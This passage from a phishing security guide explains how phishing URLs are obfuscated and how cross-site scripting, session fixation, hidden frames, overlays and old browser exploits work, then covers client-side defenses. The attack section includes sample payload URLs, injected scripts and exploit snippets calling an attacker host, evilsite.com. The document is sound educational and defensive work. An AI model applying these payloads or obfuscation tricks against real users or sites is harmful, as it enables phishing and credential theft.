• URL obfuscation

Bad Domain Names

One of the most trivial obfuscation methods is through the purposeful

registration and use of bad domain names. Consider the financial institute
MyBank with the registered domain mybank.com and the associated customer
transactional site http://privatebanking.mybank.com. The phisher could
set up a server using any of the following names to help obfuscate the
real destination host:

• http://privatebanking.mybank.com.ch
• http://mybank.privatebanking.com
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• http://privatebanking.mybonk.com or even
http://privatebanking.mybánk.com
• http://privatebanking.mybank.hackproof.com

It is important to note that as domain registration organizations move to

internationalize their services, it is possible to register domain names in
other languages and their specific character sets. For example, the
Cyrillic “o” looks identical to the standard ASCII “o” but can be used for
different domain registration purposes - as pointed out by a company
who registered “microsoft.com” in Russia.

Finally, it is worth noting that even the standard ASCII character set
allows for ambiguities such as upper-case “i” and lower-case “L”.

Friendly Login URLs

Many common web browser implementations allow for complex URLs

that can include authentication information such as a login name and
password. In general, the format is
URL://username:password@hostname/path.

Phishers may substitute the username and password fields for details
associated with the target organization. For example the following URL
sets the username = mybank.com, password = ebanking and the
destination hostname is evilsite.com.

http://mybank.com:[email protected]/phishing/fakepage.htm

This friendly login URL can successfully trick many customers into
thinking that they are actually visiting the legitimate MyBank page.
Because of its success, many current browser versions have dropped
support for this URL encoding method.

Third-party Shortened URLs

Due to the length and complexity of many web-based application URLs –

combined with the way URLs may be represented and displayed within
various e-mail systems (such as extra spaces and line feeds into the
URL) – third-party organizations have sprung up offering free services
designed to provide shorter URLs.
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Through a combination of social engineering and deliberately broken

long or incorrect URLs, phishers may use these free services to obfuscate
the true destination. Common free services include http://smallurl.com
and http://tinyurl.com. For example:

Dear valued MyBank customer,

Our automated security systems have indicated that access to your

online account was temporarily blocked on Friday 13th September
between the hours of 22:32 and 23:46 due to repeated login
failures.

Our logs indicate that your account received 2935 authentication

failures during this time. It is most probable that your account
was subject to malicious attack through automated brute forcing
techniques (for more information visit
http://support.mybank.com/definitions/attacks.aspx?type=bruteforce).

While MyBank were able to successfully block this attack, we would

recommend that you ensure that your password is sufficiently
complex to prevent future attacks. To log in and change your
password, please click on the following URL:
https://privatebanking.mybank.com/privatebanking/ebankver2/secure/cu
stomer
support.aspx?messageID=3324341&Sess=asp04&passwordvalidate=true&chan
gepassword=true

If this URL does not work, please use the following alternative
link which will redirect to the full page -
http://tinyurl.com/4outd

Best regards,
MyBank Customer Support

Host Name Obfuscation

Most Internet users are familiar with navigating to sites and services
using a fully qualified domain name, such as www.evilsite.com. For a
web browser to communicate over the Internet, this address must to be
resolved to an IP address, such as 192.134.122.07. This resolution of
IP address to host name is achieved through domain name servers. A
phisher may wish to use the IP address as part of a URL to obfuscate
the host and possibly bypass content filtering systems, or hide the
destination from the end user.

For example, the following URL:

http://mybank.com:[email protected]/phishing/fakepage.htm
could be obfuscated such as:
http://mybank.com:[email protected]/login.htm
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While some customers are familiar with the classic dotted-decimal

representation of IP addresses (000.000.000.000), most are not familiar
with other possible representations. Using these other IP representations
within an URL, it is possible obscure the host destination even further
from regular inspection.

Depending on the application interpreting an IP address, there may be

a variety of ways to encode the address other than the classic dotted-
decimal format. Alternative formats include:

• Dword - meaning double word because it consists essentially of

two binary "words" of 16 bits; but it is expressed in decimal (base 10),
• Octal - address expressed in base 8, and
• Hexadecimal - address expressed in base 16.

These alternative formats are best explained using an example.

Consider the URL http://www.evilsite.com/, resolving to 210.134.161.35.
This can be interpreted as:

• Decimal – http://210.134.161.35/
• Dword – http:// 3532038435/
• Octal – http://0322.0206.0241.0043/
• Hexadecimal – http://0xD2.0x86.0xA1.0x23/ or even http://0xD286A123/
• In some cases, it may be possible to mix formats (such as
http://0322.0x86.161.0043/).

URL Obfuscation

To ensure support for local languages in Internet software such as web

browsers and e-mail clients, most software will support alternate encoding
systems for data. It is a trivial exercise for a phisher to obfuscate the true
nature of a supplied URL using one (or a mix) of these encoding schemes.

These encoding schemes tend to be supported by most web browsers,

and can be interpreted in different ways by web servers and their custom
applications. Typical encoding schemes include:

• Escape Encoding – Escape-encoding, sometimes referred to as

percent-encoding, is the accepted method of representing
characters within a URL that may need special syntax handling to
be correctly interpreted. This is achieved by encoding the
character to be interpreted with a sequence of three characters.
This triplet sequence consists of the percentage character “%”
The Phishing Guide
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followed by the two hexadecimal digits representing the octet

code of the original character. For example, the US-ASCII
character set represents a space with octet code 32, or
hexadecimal 20. Thus its URL-encoded representation is %20.

• Unicode Encoding – Unicode Encoding is a method of referencing

and storing characters with multiple bytes by providing a unique
reference number for every character no matter what the language
or platform. It is designed to allow a UniversalCharacter Set (UCS)
to encompass most of the world's writing systems. Many modern
communication standards (such as XML, Java, LDAP, JavaScript,
WML, etc.), operating systems and web clients/servers use
Unicode character values. Unicode (UCS-2 ISO 10646) is a 16-bit
character encoding that contains all of the characters (216 =
65,536 different characters total) in common use in the world's
major languages. Microsoft Windows platforms allow for the
encoding of Unicode characters in the following format - %u0000 –
for example %u0020 represents a space, while %u01FC
represents the accented ? and %uFD3F is an ornate right parenthesis.

• Inappropriate UTF-8 Encoding – One of the most commonly

utilized formats, Unicode UTF-8, has the characteristic of
preserving the full US-ASCII character range. This great flexibility
provides many opportunities for disguising standard characters in
longer escape-encoded sequences. For example, the full stop
character “.” may be represented as %2E, or %C0%AE, or
%E0%80%AE, or %F0%80%80%AE, or %F8%80%80%80%AE,
or even %FX%80%80%80%80%AE.

• Multiple Encoding – Various guidelines and RFC's carefully

explain the method of decoding escape encoded characters and
hint at the dangers associated with decoding multiple times and
at multiple layers of an application. However, many applications
still incorrectly parse escape-encoded data multiple times.
Consequently, phishers may further obfuscate the URL
information by encoding characters multiple times (and in
different fashions). For example, the back-slash “\” character
may be encoded as %25 originally, but could be extended to:
%255C, or %35C, or %%35%63, or %25%35%63.
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2.3.3. Cross-site Scripting Attacks

Cross-site scripting attacks (commonly referred to as CSS or XSS) make

use of custom URL or code injection into a valid web-based application
URL or imbedded data field. In general, these CSS techniques are the
result of poor web-application development processes.

While there are numerous vectors for carrying out a CSS attack,
phishers must make use of URL formatted attacks. Typical formats for
CSS injection into valid URLs include:

• Full HTML substitution such as:

http://mybank.com/ebanking?URL=
http://evilsite.com/phishing/fakepage.htm
• Inline embedding of scripting content, such as:
http://mybank.com/ebanking?page=1&client=<SCRIPT>evilcode...
• Forcing the page to load external scripting code, such as:
http://mybank.com/ebanking?page=1&response=
evilsite.com%21evilcode.js&go=2

Figure 11: Cross-site scripting attacks

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In the previous example, the customer has received the following URL
via a phisher’s e-mail:
http://mybank.com/ebanking?URL=http://evilsite.com/phishing/fakepage.htm

While the customer is indeed directed and connected to the real MyBank
web application, due to poor application coding by the bank, the e-banking
component will accept an arbitrary URL for insertion within the URL
field the returned page. Instead of the application providing a MyBank
authentication form embedded within the page, the attacker has managed
to reference a page under control on an external server
(http://evilsite.com/phishing/fakepage.htm).
Unfortunately, as with most CSS vulnerabilities, the customer has no
way of knowing that this authentication page is not legitimate. While the
example URL may appear obvious, the attacker could easily obfuscate
it using the techniques explained earlier. For example,

http://evilsite.com/phishing/fakepage.htm

may instead become:

https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2F3515261219%2Fphishing%C0%AEfakepage%2Ehtm

2.3.4. Preset Session Attack

Since both HTTP and HTTPS are stateless protocols, web-based

applications must use custom methods of tracking users through its
pages and also manage access to resources that require authentication.
The most common way of managing state within such an application is
through Session Identifiers (SessionID’s). These SessionID’s may be
implemented through cookies, hidden fields or fields contained within
page URLs.

Many web-based applications implement poor state management systems

and will allow client connections to define a SessionID. The web
application will track the user around the application using the preset
SessionID, but will usually require the user to authenticate (such as
supply identification information through the formal login page) before
allowing them access to “restricted” page content.

In this class of attack, the phishing message contains a web link to the
real application server, but also contains a predefined SessionID field.
The attacker’s system constantly polls the application server for a
restricted page (such as an e-banking page that allows fund transfers)
using the preset SessionID. Until a valid user authenticates against this
SessionID, the attacker will receive errors from the web-application
server (such as 404 File Not Found, 302 Server Redirect).
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The phishing attacker must wait until a message recipient follows the
link and authenticates themselves using the SessionID. Once authenticated,
the application server will allow any connection using the authorized
SessionID to access restricted content (since the SessionID is the only
state management token in use). Therefore, the attacker can use the
preset SessionID to access a restricted page and carryout his attack.

The following figure shows how the Preset Session Attack (sometimes
referred to as Session Fixation) is conducted:

Figure 12: Preset session attacks

Here the phisher has bulk-e-mailed potential MyBank customers a fake

message containing the URL
https://mybank.com/ebanking?session=3V1L5e5510N&Login=True
containing a preset SessionID of 3V1L5e5510N and continually polls
the MyBank server every minute for a restricted page that will allow
customer Fund Transfers
(https://mybank.com/ebanking?session=3V1L5e5510N&Transfer=True).

Until a customer authenticates using the SessionID, the phisher will

receive errors when trying to access the page as the SessionID is
invalid. After the customer authenticates themselves the SessionID
becomes valid, and the phisher can access the Fund Transfer page.
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2.3.5. Hidden Attacks

Extending beyond the obfuscation techniques discussed earlier, an

attacker may make use of HTML, DHTML and other scriptable code
that can be interpreted by the customer’s web browser and used to
manipulate the display of the rendered information. In many instances
the attacker will use these techniques to disguise fake content (in
particular the source of the page content) as coming from the real site –
whether this is a man-in-the-middle attack, or a fake copy of the site
hosted on the attackers own systems.
The most common vectors include:

• Hidden Frames
• Overriding Page Content
• Graphical Substitution

Hidden Frames

Frames are a popular method of hiding attack content due to their

uniform browser support and easy coding style.

In the following example, two frames are defined. The first frame
contains the legitimate site URL information, while the second frame –
occupying 0% of the browser interface – references the phishers
chosen content. The page linked to within the hidden frame can be
used to deliver additional content (such as overriding page content or
graphical substitution), retrieving confidential information such as
SessionID’s or something more nefarious; such as executing screen-
grabbing and key-logging observation code.

<frameset rows="100%,*" framespacing="0">

<frame name="real" src="http://mybank.com/" scrolling="auto">
<frame name="hiddenContent" src="http://evilsite.com/bad.htm"
scrolling="auto">
</frameset>

Hidden frames may be used to:

• Hide the source address of the attacker’s content server. Only

the URL of the master frameset document will be visible from the
browser interface unless the user follows a link with the target
attribute site to "_top".
• Provide a fake secure HTTPS wrapper (forcing the browser to
display a padlock or similar visual security clue) for the site
content – while still using insecure HTTP for hidden page content
and operations.
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• Hide HTML code from the customer. Customers will not be able
to view the hidden pages code through the standard “View
Source” functions available to them.
• “Page Properties” will only indicate the top most viewable page
source in most browser software.

• Load images and HTML content in the background for later use
by a malicious application.
• Store and implement background code operations that will report
back to the attacker what the customer does in the “real” web page.
• Combined with client-side scripting languages, it is possible to
replicate functionality of the browser toolbar; including the
representation of URL information and page headers.

Overriding Page Content

Several methods exist for phishers to override displayed content. One

of the most popular methods of inserting fake content within a page is
to use the DHTML function - DIV. The DIV function allows an attacker to
place content into a “virtual container” that, when given an absolute
position and size through the STYLE method, can be positioned to hide
or replace (by “sitting on top”) underlying content. This malicious content
may be delivered as a very long URL or by referencing a stored script.
For example, the following code segment contains the first three lines of
a small JavaScript file (such as fake.js) for overwriting page content.

var d = document;
d.write('<DIV id="fake" style="position:absolute; left:200;
top:200; z-index:2">
<TABLE width=500 height=1000 cellspacing=0 cellpadding=14><TR>');
d.write('<TD colspan=2 bgcolor=#FFFFFF valign=top height=125>');
…

This method allows an attacker to build a complete page (including

graphics and auxiliary scripting code elements) on top of the real page.

Graphical Substitution

While it is possible to overwrite page content easily through multiple

methods, one problem facing phishers is that of browser specific visual
clues to the source of an attack. These clues include the URL presented
within the browser's URL field, the secure padlock representing an HTTPS
encrypted connection, and the Zone of the page source.
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A common method used to overcome these visual clues is through the

use of browser scripting languages (such as JavaScript, VBScript and
Java) to position specially created graphics over these key areas with
fake information.

In the example below, the attacker uses carefully positioned fake address
bar and padlock/zone images to hide the real information. While the
phisher must use graphics that are appropriate to the manufacturer of
the browser software, it is a trivial exercise for the attacker's fake website
to determine the browser type and exact version through simple code
queries. Therefore, the attacker may prepare images for a range of
common browsers and code their page in such a way that the appropriate
images are always used.

Figure 13: Site impersonation with browser address bar, secure padlock and zone substitution
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It is important to note that phishing attacks in the past have combined

graphical substitution with additional scripting code to fake other
browser functionality. Examples include:

• Implementing “right-click” functionality and menu access,

• Presenting false popup messages just as the real browser or web
application would,
• Displaying fake SSL certificate details when reviewing page
properties or security settings – through the use of images.

Using simple HTML embedded commands, an attacker can hijack the

customer’s entire desktop (user interface) and construct a fake interface
to capture and manipulate what the customer sees. This is done using
the window.createPopup() and popup.show() commands. For example:

op=window.createPopup();
op.document.body.innerHTML="...html...";
op.show(0,0,screen.width,screen.height,document.body);

2.3.6. Observing Customer Data

An old favorite in the hacker community and becoming increasingly

popular among phishers, key-loggers and screen-grabbers can be
used to observe confidential customer data as it is entered into a web-
based application.

This information is collected locally and typically retrieved by the

attacker through the following different methods:

• Continuous streaming of data (i.e. data is sent as soon as it is

generated) using a custom data sender/receiver pair. To do this,
the attacker must often keep a connection open to the customer’s
computer.
• Local collection and batching of information for upload to the
attacker’s server. This may be done through protocols such as
FTP, HTTP, SMTP, etc.
• Backdoor collection by the attacker. The observation software
allows the attacker to connect remotely to the customer’s machine
and pull back the data as and when required.
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Key-logging

The purpose of key loggers is to observe and record all key presses by
the customer – in particular, when they must enter their authentication
information into web-based application login pages. With these credentials
the phisher can then use the account for their own purposes at a later
date and time.

Key-loggers may be pre-compiled objects that will observe all key presses –
regardless of application or context (such as they could be used to observe
the customer using Microsoft Word to type a letter) – or they may be
written in client-side scripting code to observe key presses within the
context of the web browser. Due to client-side permissions, it is usually
easier to use scripting languages for phishing attacks.

Screen Grabbing

Some sophisticated phishing attacks make use of code designed to

take a screen shot of data that has been entered into a web-based
application. This functionality is used to overcome some of the more
secure financial applications that have special features build-in to
prevent against standard key-logging attacks.

In many cases, only the relevant observational area is required (i.e. a

small section of the web page instead of the entire screen) and the
phishers software will only record this data – thus keeping the upload
data capture small and quick to transfer to their server.

For example, in a phishing attempt against Barclays, the attacker used

screen grabbing techniques to capture an image of the second-tier
login process designed to prevent key-logging attempts. A sample
capture file is shown below:

Figure 14: Barclays Phishing attack using screen capture technology

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2.3.7. Client-side Vulnerabilities

The sophisticated browsers customers use to surf the web, just like any
other commercial piece of software, are often vulnerable to a myriad of
attacks. The more functionality built into the browser, the more likely there
exists a vulnerability that could be exploited by an attacker to gain access
to, or otherwise observe, confidential information of the customer.

While software vendors have made great strides in methods of rolling

out software updates and patches, home users are notoriously poor in
applying them. This, combined with the ability to install add-ons (such
as Flash, RealPlayer and other embedded applications) means that there
are many opportunities for attack.

Similar to the threat posed by some of the nastier viruses and automated
worms, these vulnerabilities can be exploited in a number of ways. However,
unlike worms and viruses, many of the attacks cannot be stopped by
anti-virus software as they are often much harder to detect and consequently
prevent (i.e. the stage in which the antivirus product is triggered is usually
after the exploitation and typically only if the attacker tries to install a well
known Backdoor Trojan or key-logger utility).

Example 1: Microsoft Internet Explorer URL Mishandling

By inserting a character (in this case 0x01 – represented as the escape

encoded sequence %01) within the username section of the Friendly
Login URL, a user would be redirected to the attackers server, but
characters after the %01 would not be displayed in the browser URL field.
Therefore this attack could be used to obfuscate the attackers full URL.

Sample HTML code:

location.href=unescape('http://www.mybank.com%[email protected]/phish
ing/fakepage.htm');

Example 2: Microsoft Internet Explorer and Media Player Combination

A vulnerability existed within Microsoft Media Player that was exploitable

through java coding with Microsoft Internet Explorer. This vulnerability
enabled remote servers to read local customer files, browse directories
and finally execution of arbitrary software. Depending upon the software
being executed, the attacker had the potential to take control of the
customer’s computer.
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The problem lay with how Media Player downloaded customized skins
and stored them. For example:

"C:/Program files/Windows Media Player/Skins/SKIN.WMZ" : <IFRAME

SRC="wmp2.wmz"></IFRAME>

Will download wmp2.wmz and place it in the defined folder.

Unfortunately, the file wmp2.wmz may be a java jar archive. Therefore
the following applet tag:

<APPLET CODEBASE="file://c:/" ARCHIVE="Program files/Windows Media

Player/SKINS/wmp2.wmz"
CODE="gjavacodebase.class" WIDTH=700 HEIGHT=300>
<PARAM NAME="URL" VALUE="file:///c:/test.txt">
</APPLET>

Will be executed with codebase="file://c:/" and the applet will have read
only access to C:\.

To execute this code automatically, all an attacker had to do was get

the web browser to open a simple HTML fie such as the one below:

<IFRAME SRC="wmp2.wmz" WIDTH=1 HEIGHT=1></IFRAME>

<SCRIPT>
function f()
{
window.open("wmp7-bad.htm");
}
setTimeout("f()",4000);
</SCRIPT>

Which calls a secondary HTML file (wmp7-bad.htm)

<APPLET CODEBASE="file://c:/"
ARCHIVE="Program files/Windows Media Player/SKINS/wmp2.wmz"
CODE="gjavacodebase.class"
WIDTH=700 HEIGHT=300>
<PARAM NAME="URL" VALUE="file:///c:/test.txt">
</APPLET>

Example 3: RealPlayer/RealOne Browser Extension Heap Corruption

RealPlayer is the most widely used product for Internet media delivery,
with in excess of 200 million users worldwide. All popular web browsers
offer support for RealPlayer and the automatic playing of media.
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By crafting a malformed .RA, .RM, .RV or .RMJ file it possible to cause

heap corruption that can lead to execution of an attacker’s arbitrary
code. By forcing a browser or enticing a user to a website containing
such a file, arbitrary attacker supplied code could be automatically
executed on the target machine. This code will run in the security
context of the logged on user.

<OBJECT ID="RealOneActiveXObject" WIDTH=0 HEIGHT=0

CLASSID="CLSID:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5"></OBJECT>

// Play a clip and show new status display

function clipPlay() {
window.parent.external.PlayClip(
"rtsp://evilsite.com/hackme.rm",
"Title=Glorious Day|Artist name=Me Alone")
}

More information is available from:

http://www.nextgenss.com/advisories/realra.txt

Section 3: Defense Mechanisms

3.1. Countering the Threat

As already shown in Section 2, the phisher has a large number of methods

at their disposal – consequently there is no single solution capable of
combating all these different attack vectors. However, it is possible to
prevent current and future phishing attacks by utilizing a mix of
information security technologies and techniques.

For best protection, these security technologies and techniques must

be deployed at three logical layers:

1. The Client-side – this includes the user’s PC.

2. The Server-side – this includes the business’ Internet visible
systems and custom applications.
3. Enterprise Level – distributed technologies and third-party
management services

This section details the different defense mechanisms available at each

logical layer.
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3.2. Client-side

The client-side should be seen as representing the forefront of anti-phishing

security. Given the distributed nature of home computing and widely
varying customer skill levels and awareness, client-side security is
generally much poorer than a managed corporate workstation deployment.
However, many solutions exist for use within both the home and
corporate environments.

At the client-side, protection against phishing can be afforded by:

• Desktop protection technologies

• Utilization of appropriate communication settings
• User application-level monitoring solutions
• Locking-down browser capabilities
• Digital signing and validation of email
• General security awareness

3.2.1. Desktop Protection Agents

Most users of desktop systems are familiar with locally installed protection
software, typically in the form of a common anti-virus solution. Ideally,
desktop systems should be configured to use multiple desktop protection
agents (even if this functionality duplicates any corporate perimeter
protection services), and be capable of performing the following services:

• Local Anti-Virus protection

• Personal Firewall
• Personal IDS
• Personal Anti-Spam
• Spyware Detection

Many desktop protection software providers (such as Symantec, McAfee,

Microsoft, etc.) now provide solutions that are capable of fulfilling one
or more of these functions. Specific to phishing attack vectors, these
solutions (or a combination of) should provide the following functionality:

• The ability to detect and block “on the fly” attempts to install
malicious software (such as Trojan horses, key-loggers, screen-
grabbers and creating backdoors) through e-mail attachments,
file downloads, dynamic HTML and scripted content.
• The ability to identify common spam delivery techniques and
quarantine offending messages.
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• The ability to pull down the latest anti-virus and anti-spam

signatures and apply them to the intercepting protection software.
Given the variety in spamming techniques, this process should
be scheduled as a daily activity.
• The ability to detect and block unauthorized out-bound
connections from installed software or active processes. For
example, if the customer’s host has been previously
compromised, the protection solution must be able to query the
authenticity of the out-bound connection and verify it with the user.
• The ability to detect anomalies in network traffic profiles (both
inbound and outbound) and initiate appropriate counter-
measures. For instance, detecting that an inbound HTTP
connection has been made and substantial outbound SSL traffic
begins on a non-standard port.
• The ability to block inbound connections to unassociated or
restricted network ports and their services.
• The ability to identify common Spyware installations and the
ability to prevent installation of the software and/or blocking
outbound communications to known Spyware monitoring sites.
• Automatically block outbound delivery of sensitive information to
suspected malicious parties. Sensitive information includes
confidential financial details and contact information. Even if the
customer cannot visually identify the true website that will receive
the sensitive information, some off the shelf software solutions can.

Advantages Disadvantages

Local Defense Awareness Purchasing Price

Local installation of desktop protection agents is The purchasing price of desktop protection agents is not
becoming an easier task, and most customers an insignificant investment for many customers. If
already appreciate the value of anti-virus software. multiple vendors’ solutions are required to provide
It is a simple conceptual process to extend this coverage against all attack vectors, there can be a
cover to other protection agents and get customers substantial multiplication of financial cost for very little
to “buy-in”. extra security coverage.

Protection Overlapping Subscription Renewals

Using a variety of desktop protection agents from Many of the current desktop protection agents rely on
various software manufacturers tends to cause monthly or annual subscription payments to keep the
overlaps in overall protection. This means that a users installation current. Unless appropriate notices are
failure or security lapse in one product may be given, these renewals may not take place and the
detected and defended against by another. protection agents will be out of date.

Defense-in-Depth Complexity & Manageability

The independent nature of desktop protection For corporate environments, desktop protection agents can
agents means that they do not affect (or are be complex to deploy and manage – particularly at an
affected by) security functionality of other externally enterprise level. Since these solutions require continual
hosted services – thereby contributing to the deployments of updates (sometimes on a daily schedule),
overall defense-in-depth posture of an organization. there may be a requirement of an investment in additional
man-power.
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3.2.2. E-mail Sophistication

Many of the e-mail applications corporate users and customers use to

access Internet resources provide an ever increasing level of functionality
and sophistication. While some of this functionality may be required for
sophisticated corporate applications and systems – use of these technologies
typically only applies to inter-company systems. Most of this functionality
is not required for day-to-day use – particularly for Internet
communication services.

This unnecessary embedded (and often default) functionality is

exploited by phishing attacks (along with increasing the probability of
other kinds of attacks). In general, most popular applications allow
users to turn off the most dangerous functionality.

HTML-based E-mail

Many of the attacks outlined in Section 2 are successful due to HTML-

based e-mail functionality, in particular, the ability to obfuscate the true
destination of links, the ability to embed scripting elements and the
automatic rendering of embedded (or linked) multimedia elements. HTML
functionality must be disabled in all e-mail client applications capable of
accepting or sending Internet e-mails. Instead, plain text e-mail
representation should be used, and ideally the chosen font should be
fixed-with such as Courier.

E-mails will then be rendered in plain text, preventing the most common
attack vectors. However, users should be prepared to receive some e-
mails that appear to be “gobbledy-gook” due to textual formatting issues
and probable HTML code inclusions. Some popular e-mail clients will
automatically remove the HTML code. While the visual appeal of the
received e-mails may be lessoned, security is improved substantially.
Users should not use other e-mail rendering options (such as rich text or
Microsoft Word editors) as there are known security flaws with these
formats which could also be exploited by phishers.

Attachment Blocking

E-mail applications capable of blocking “dangerous” attachments and

preventing users from quickly executing or viewing attached content
should be used whenever possible.

Some popular e-mail applications (such as Microsoft Outlook) maintain a

list of “dangerous” attachment formats, and prevent users from opening
them. While other applications force the user to save the file somewhere
else before they can access it.
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Ideally, users should not be able to directly access e-mail attachments

from within the e-mail application. This applies to all attachment types
(including Microsoft Word documents, multimedia files and binary files)
as many of these file formats can contain malicious code capable of
compromising the associated rendering application (such as the earlier
example of a vulnerability in the RealPlayer .RM player). In addition, by
saving the file locally, local anti-virus solutions are better able to inspect
the file for viruses or other malicious content.

Advantages Disadvantages

Overcomes HTML Obfuscation Readability

Forcing all inbound e-mails into text-only format is The rendering of HTML-based e-mails often means that
sufficient to overcome standard HTML-based HTML code elements make the message difficult to read
obfuscation techniques. and understand.

Overcoming Attached Viruses Message Limitations

By blocking attachments, and/or forcing content to Users often find it difficult to include attachments (such as
be saved elsewhere, it makes more difficult for graphics) in TEXT-only e-mails having been used to drag-
automated attacks to be conducted and provides and-drop embedding of images into to HTML or Microsoft
extra potential for standard anti-virus products to Word e-mail editors.
detect malicious content.

Onerous Blocking
The default blocking of “dangerous” attachments often
results in technical users attempting to bypass these
limitations in commercial environments that are used for
attaching or receiving executable content.

3.2.3. Browser Capabilities

The common web browser may be used as a defense against phishing

attacks – if it is configured securely. Similar to the problems with e-mail
applications, web browsers also offer extended functionality that may be
abused (often to a higher degree than e-mail clients). For most users,
their web browser is probably the most technically sophisticated
application they use.

The most popular web browsers offer such a fantastic array of functionality –
catering to all users in all environments – that they unintentionally provide
gaping security flaws that expose the integrity of the host system to attack
(it is almost a weekly occurrence that a new vulnerability is discovered
that may be exploited remotely through a popular web browser). Much
of the sophistication is devoted to being a “jack of all trades”, and no
single user can be expected to require the use of all this functionality.
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Customers and businesses must make a move to use a web browser

that is appropriate for the task at hand. In particular, if the purpose of the
web browser is to only browse Internet web services, a sophisticated
web browser is not required.

To help prevent many phishing attack vectors, web browser users should:

• Disable all pop-up window functionality

• Disable Java runtime support
• Disable ActiveX support
• Disable all multimedia and auto-play/auto-execute extensions
• Prevent the storage of non-secure cookies
• Ensure that any downloads cannot be automatically run from the
browser, and must instead be downloaded into a directory for anti-
virus inspection

Moving Away from Microsoft Internet Explorer

Microsoft’s web browser, Internet Explorer, is the most sophisticated web

browser available. Consequently it has a very long track record of
vulnerability discovery and remote exploitation. For typical web browsing,
less than 5% of its built-in functionality is used. In fact many of the “features”
available in the browser were added to protect against previous flaws
and attack vectors. Unfortunately each new feature brings with it a host
of security problems and additional complexity.

While some of the most dangerous functionality can be disabled or muted

using various configuration options, customers and corporate users are
urged to use a web browser that is most applicable to the task at hand
(such as is the browser supposed to be a multimedia centre, a mail client,
a chat platform or a compiled application delivery platform).

There are a number of vendors that offer web browsers that are more
secure against a wider range of attack vectors – including phishing. A
popular “stripped down”, but fully configurable, web browser is Firefox
(http://www.mozilla.org). With a default install the web browser is one of
the most secure around, yet it can still be managed within a corporate
environment and is extensible through selective add-on modules.
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Anti-Phishing Plug-ins

There is a growing number of specialist anti-phishing software producers

that provide browser plug-ins. Most often, the plug-ins are added to the
browsers toolbar and provide an active monitoring facility. These toolbars
typically “phone-home” for each URL and verify that the requested server
host is not currently on a list of known phishing scams.

It is important to note that many of the browser plug-ins only support

Microsoft’s Internet Explorer browser.

Figure 15: The anti-phishing feature, Google Safe Browsing, in the Google Toolbar for Firefox

Advantages Disadvantages

Immediate Security Improvements Loss of Extended Functionality

Moving away from a complex web browser with For corporate environments, the loss of some extended
reduced functionality will immediately mitigate functionality may require dedicated applications instead of
against the most common security flaws and web browser integrated components.
vulnerabilities in Internet Explorer.

Speed Rendering of Complex Web-Applications

Less sophisticated web browsers typically access The removal of some complex functionality (in particular
and render web-based material quicker. some client-side scripting languages) may cause web-
applications to not render page content correctly.

Plug-ins Responsiveness
The current anti-phishing plug-ins are only as good as the
managed provider maintaining the list of known phishing
scams and sites. Plug-ins are typically only good for well
known, widely distributed, phishing attacks.

3.2.4. Digitally Signed E-mail

It is possible to use Public Key cryptography systems to digitally sign an

e-mail. This signing can be used to verify the integrity of the messages
content – thereby identifying whether the message content has been
altered during transit. A signed message can be attributed to a specific
users (or organizational) public key.
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Almost all popular e-mail client applications support the signing and
verification of signed e-mail messages. It is recommended that users:

• Create a personal public/private key pair

• Upload their public key to respected key management servers so
that other people who may receive their e-mails can verify the
message’s integrity
• Enable, by default, the automatic signing of e-mails
• Verify all signatures on received e-mails and be careful of
unsigned or invalid signed messages – ideally verifying the true
source of the e-mail

Figure 16: Digitally signed e-mail – recipient validation of authenticity

A message signature is essentially a sophisticated one-way hash value

that uses aspects of the sender’s private key, message length, date and
time. The e-mail recipient uses the public key associated with the e-mail
sender’s address to verify this hash value. The contents of the e-mail
should not be altered by any intermediary mail servers.

It is important to note that, in general, there are no restrictions on creating

a public/private key pair for any e-mail address a person may choose
and consequently uploading the public key to an Internet key management
server. Therefore, it is still possible for a phisher to send forth an e-mail
with a spoofed address and digitally sign it with a key that they own.

S/MIME and PGP

There are currently two popular methods for providing digital signing.
These are S/MIME and PGP (including PGP/MIME and the newer OpenPGP
standard). Most major Internet mail application vendors ship products
capable of using and understanding S/MIME, PGP/MIME, and OpenPGP
signed mail.

Although they offer similar services to e-mail users, the two methods
have very different formats. Further, and more important to corporate
users, they have different formats for their certificates. This means that
not only can users of one protocol not communicate with the users of the
other; they also cannot share authentication certificates.
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Key points for S/MIME and PGP:

• S/MIME was originally developed by RSA Data Security, Inc. It is

based on the PKCS #7 data format for the messages, and the
X.509v3 format for certificates. PKCS #7 is based n the ASN.1
DER format for data.
• PGP/MIME is based on PGP, which was developed by many
individuals, some of whom have now joined together as PGP, Inc.
The message and certificate formats were created from scratch
and use simple binary encoding. OpenPGP is also based on PGP.
• S/MIME, PGP/MIME, and OpenPGP use MIME to structure their
messages. They rely on the multipart/signed MIME type that is
described in RFC 1847 for moving signed messages over the Internet.

Advantages Disadvantages

Business Standard Web-based E-mail Support

Since S/MIME is already a business standard, it is Not all web-based mail clients support S/MIME (such as
already incorporated into most standard e-mail Hotmail, AOL, Yahoo! Mail, Outlook Web Access for
clients. Therefore it can work without and Exchange 5.5).
additional software requirements.

Identity Audit Trail Misleading Domains

Phishers who digitally sign their e-mails must Customers must still closely inspect the “From:” address
register their public keys with a central key for misleading domains (such as support@mybánk.com
authority. This registration process can provide a instead of [email protected]).
stronger audit trail when prosecuting the phisher.

Trust Relationship Revocation Checking

Legitimate business e-mail can be better identified Recipients may not check certificate revocation status.
by customers, therefore generating a greater trust
relationship with their customers.

3.2.5. Customer Vigilance

Customers may take a number of steps to avoid becoming a victim of a phishing

attack that involve inspecting content that is presented to them and questioning
its authenticity.

General vigilance (in addition to what has been covered in sections 3.2.1 to
3.2.4) includes:

• If you get an e-mail that warns you, with little or no notice, that an
account of yours will be shut down unless you reconfirm billing
information, do not reply or click on the link in the e-mail. Instead,
contact the company cited in the e-mail using a telephone number or
Web site address you know to be genuine.
